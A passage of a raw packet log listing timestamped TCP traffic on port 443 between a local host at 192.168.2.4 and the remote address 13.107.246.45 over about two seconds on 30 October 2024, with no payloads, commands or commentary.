Oct 30, 2024 07:28:52.765151978 CET	443	50094	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.768177986 CET	50101	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.768204927 CET	443	50101	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.768271923 CET	50101	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.768452883 CET	50101	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.768466949 CET	443	50101	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.788211107 CET	443	50096	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.788788080 CET	50096	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.788815975 CET	443	50096	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.789294958 CET	50096	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.789300919 CET	443	50096	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.912790060 CET	443	50097	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.918757915 CET	50097	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.918793917 CET	443	50097	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.919198990 CET	50097	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.919203997 CET	443	50097	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.033435106 CET	443	50096	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.033476114 CET	443	50096	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.033494949 CET	443	50096	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.033644915 CET	50096	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.033691883 CET	443	50096	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.033751011 CET	50096	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.041466951 CET	443	50096	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.041533947 CET	443	50096	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.041595936 CET	50096	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.041601896 CET	443	50096	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.041659117 CET	50096	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.044495106 CET	50096	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.044523001 CET	50096	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.044543982 CET	443	50096	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.044568062 CET	50096	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.044574022 CET	443	50096	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.047177076 CET	50102	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.047229052 CET	443	50102	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.048732042 CET	50102	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.048870087 CET	50102	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.048886061 CET	443	50102	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.052845001 CET	443	50097	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.052870035 CET	443	50097	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.052927017 CET	443	50097	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.052956104 CET	50097	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.052972078 CET	50097	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.053126097 CET	50097	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.053143978 CET	443	50097	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.053155899 CET	50097	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.053160906 CET	443	50097	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.055267096 CET	50103	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.055300951 CET	443	50103	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.055382967 CET	50103	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.055531979 CET	50103	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.055543900 CET	443	50103	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.248694897 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.248827934 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.250264883 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.250276089 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.250602961 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.253611088 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.299323082 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.315510988 CET	443	50099	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.318105936 CET	50099	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.318141937 CET	443	50099	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.348054886 CET	50099	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.348077059 CET	443	50099	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.430705070 CET	443	50100	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.477648973 CET	443	50099	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.477679014 CET	443	50099	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.477744102 CET	443	50099	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.477834940 CET	50099	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.477880001 CET	50099	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.479070902 CET	50100	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.489622116 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.489660978 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.489685059 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.489775896 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.489803076 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.489846945 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.507159948 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.507185936 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.507289886 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.507304907 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.508637905 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.516228914 CET	443	50101	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.559004068 CET	50101	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.586215019 CET	50100	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.586237907 CET	443	50100	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.586683035 CET	50100	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.586688995 CET	443	50100	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.586901903 CET	50099	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.586901903 CET	50099	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.586918116 CET	443	50099	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.586929083 CET	443	50099	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.590523005 CET	50101	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.590531111 CET	443	50101	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.591164112 CET	50101	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.591167927 CET	443	50101	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.593205929 CET	50104	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.593255043 CET	443	50104	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.593341112 CET	50104	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.593565941 CET	50104	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.593585014 CET	443	50104	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.609603882 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.609632015 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.609673977 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.609690905 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.609705925 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.612922907 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.622814894 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.622843981 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.622890949 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.622904062 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.622935057 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.622952938 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.625510931 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.625533104 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.625575066 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.625581980 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.625613928 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.713149071 CET	443	50100	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.713227034 CET	443	50100	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.713275909 CET	50100	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.713504076 CET	50100	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.713521957 CET	443	50100	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.713531971 CET	50100	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.713537931 CET	443	50100	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.716649055 CET	50105	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.716698885 CET	443	50105	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.716876984 CET	50105	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.717010975 CET	50105	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.717026949 CET	443	50105	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.717657089 CET	443	50101	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.717735052 CET	443	50101	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.717778921 CET	50101	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.717847109 CET	50101	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.717860937 CET	443	50101	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.717870951 CET	50101	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.717875957 CET	443	50101	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.720078945 CET	50106	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.720117092 CET	443	50106	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.720241070 CET	50106	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.720398903 CET	50106	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.720412016 CET	443	50106	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.724281073 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.724306107 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.724380016 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.724406958 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.724461079 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.739825964 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.739844084 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.739954948 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.739964008 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.740003109 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.740071058 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.740710974 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.740727901 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.740791082 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.740796089 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.740968943 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.778971910 CET	443	50102	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.779608011 CET	50102	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.779638052 CET	443	50102	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.780148983 CET	50102	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.780155897 CET	443	50102	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.792583942 CET	443	50103	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.793068886 CET	50103	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.793081999 CET	443	50103	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.793476105 CET	50103	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.793483019 CET	443	50103	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.841602087 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.841628075 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.841685057 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.841706038 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.841751099 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.856519938 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.856539011 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.856684923 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.856693983 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.856755018 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.857253075 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.857268095 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.857320070 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.857325077 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.857351065 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.857369900 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.858885050 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.858900070 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.858944893 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.858949900 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.858959913 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.858983040 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.911927938 CET	443	50102	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.912024021 CET	443	50102	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.912086964 CET	50102	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.912225008 CET	50102	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.912245989 CET	443	50102	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.912259102 CET	50102	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.912265062 CET	443	50102	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.915091991 CET	50107	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.915147066 CET	443	50107	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.915226936 CET	50107	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.915376902 CET	50107	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.915391922 CET	443	50107	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.925558090 CET	443	50103	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.925636053 CET	443	50103	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.925688982 CET	50103	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.925795078 CET	50103	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.925816059 CET	443	50103	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.925832033 CET	50103	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.925838947 CET	443	50103	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.928226948 CET	50108	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.928268909 CET	443	50108	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.928340912 CET	50108	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.928468943 CET	50108	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.928483009 CET	443	50108	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.978658915 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.978684902 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.978801012 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.978827000 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.978877068 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.978972912 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.978987932 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.979062080 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.979068995 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.979113102 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.979120970 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.979135990 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.979180098 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:53.979185104 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:53.979221106 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.076092958 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.076122046 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.076181889 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.076215982 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.076253891 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.091254950 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.091272116 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.091350079 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.091373920 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.091417074 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.092293024 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.092308044 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.092363119 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.092380047 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.092422009 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.093126059 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.093141079 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.093192101 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.093205929 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.093251944 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.194062948 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.194128990 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.194191933 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.194222927 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.194236994 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.194264889 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.208919048 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.208961964 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.209022999 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.209031105 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.209064960 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.209078074 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.209739923 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.209784985 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.209821939 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.209826946 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.209851980 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.209871054 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.210675955 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.210719109 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.210747957 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.210752964 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.210783005 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.210792065 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.311240911 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.311295986 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.311348915 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.311363935 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.311403990 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.311438084 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.326148033 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.326194048 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.326241016 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.326247931 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.326273918 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.326287985 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.326915026 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.326958895 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.326997042 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.327002048 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.327029943 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.327048063 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.327114105 CET	443	50104	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.327625990 CET	50104	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.327652931 CET	443	50104	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.327898026 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.327946901 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.327972889 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.327977896 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.328035116 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.328227997 CET	50104	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.328236103 CET	443	50104	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.428446054 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.428502083 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.428549051 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.428567886 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.428595066 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.428612947 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.443538904 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.443583965 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.443629980 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.443662882 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.443676949 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.443706989 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.444291115 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.444330931 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.444372892 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.444380045 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.444411039 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.444431067 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.445038080 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.445079088 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.445107937 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.445113897 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.445142984 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.445159912 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.457081079 CET	443	50106	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.458504915 CET	50106	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.458544970 CET	443	50106	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.458553076 CET	443	50104	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.458580971 CET	443	50104	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.458630085 CET	50104	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.458637953 CET	443	50104	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.458693981 CET	50104	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.458894014 CET	50104	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.458911896 CET	443	50104	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.458995104 CET	50106	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.459001064 CET	443	50106	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.493339062 CET	443	50105	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.493706942 CET	50105	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:54.493732929 CET	443	50105	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:54.494118929 CET	50105	443	192.168.2.4	13.107.246.45
